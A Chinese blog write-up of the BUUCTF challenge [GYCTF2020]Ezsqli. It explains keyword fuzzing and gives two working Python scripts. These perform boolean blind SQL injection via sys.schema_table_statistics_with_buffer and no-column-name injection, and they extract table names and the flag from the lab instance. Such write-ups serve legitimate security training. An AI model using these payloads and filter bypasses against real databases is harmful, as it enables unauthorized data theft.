BUU[GYCTF2020]Ezsqli1

8 篇文章 0 订阅
7 篇文章 0 订阅


知识点

布尔盲注以及无列名注入


提示:以下是本篇文章正文内容,下面案例可供参考

一、布尔盲注

在提交部分输入值上传,抓包查看

 修改POST传参id的部分值为其他值后

这里就判断出大致使用BOOL盲注来注入

 简单的写一段万能SQL语句后

下一步使用字典去fuzz一下,查看有哪些关键词被过滤

查看后发现诸如:or、and、union、information_schema......被过滤了 

 下一步开始编写python脚本来解决:(附上代码)

注意:这里由于之前fuzz的时候发现information_schema被过滤了,考虑使用其他的关键词,如:这里的sys.schema_table_statistics_with_buffer

先获取表名:

由于BUU上不允许出现频繁地访问网站,所以使用了time函数来进行延时(测试很多次发现time=0.5的时候比较好,既不会发现错误反馈,也不至于太慢),而且使用简单的二分法进行字符匹配。

import requests
import time

url='http://02ae94bd-22a9-48e9-b56e-b481bfb354e9.node4.buuoj.cn/index.php'

post_d={}

def post_text(string):
    return requests.post(url=url,data=string).text

tables_name=''     #可能网站不稳定,所以有时候运行结果会不一样  
for i in range(200):
    low = 32
    high = 128
    mid = (low+high)//2
    while low<high:
            
 payload_tables='2^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema)=database()),{0},1))<{1})'.format(i+1,mid)
        post_d['id']=payload_tables
        re=post_text(post_d)
        time.sleep(0.5)
        if "Error" in re: 
            high = mid
        else:
            low = mid+1
        mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
    tables_name += chr(mid-1)
    print("tablename is -> "+tables_name)
  

得到了两个表名:users233333333333333,f1ag_1s_h3r3_hhhhh

二、无列名注入

1.知识点

这里附上一篇更加详细的,关于无列名注入的文章

https://zhuanlan.zhihu.com/p/98206699

这里就不再做叙述了~摸了摸了

2.实现方式

代码如下:

import requests
import time

def post_text(string):
    return requests.post(url=url,data=string).text

def get_flag(char,value):
    return value+char

url='http://c87a7435-bd7b-47b3-ab95-5723ccc9b527.node4.buuoj.cn/index.php'
post_d={}
value=''   #无列名注入使用
for i in range(1000):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        
        payload='2||((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))'.format(get_flag(chr(mid),value))
        #print(payload)
        post_d['id']=payload
        re=post_text(post_d)

        time.sleep(0.5)
        if "Nu" in re: 
            high = mid
        else:
            low = mid+1
        mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        
    value += chr(mid-1)
    print("value is -> "+value)

最后获得表f1ag_1s_h3r3_hhhhh里面的值为:FLAG{33BCFE9A-CB36-40CB-8DBF-83FDE938EBA8~

最后一个“}”可能是网络问题,偶尔是好的~

修改后(要将大写改为小写提交)为:

flag{33bcfe9a-cb36-40cb-8dbf-83fde938eba8}


总结

假期还没开始,小学期做CPU是真的烦啊~,之后可能会将做好的CPU放到这里,留着以后回来看看~~

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值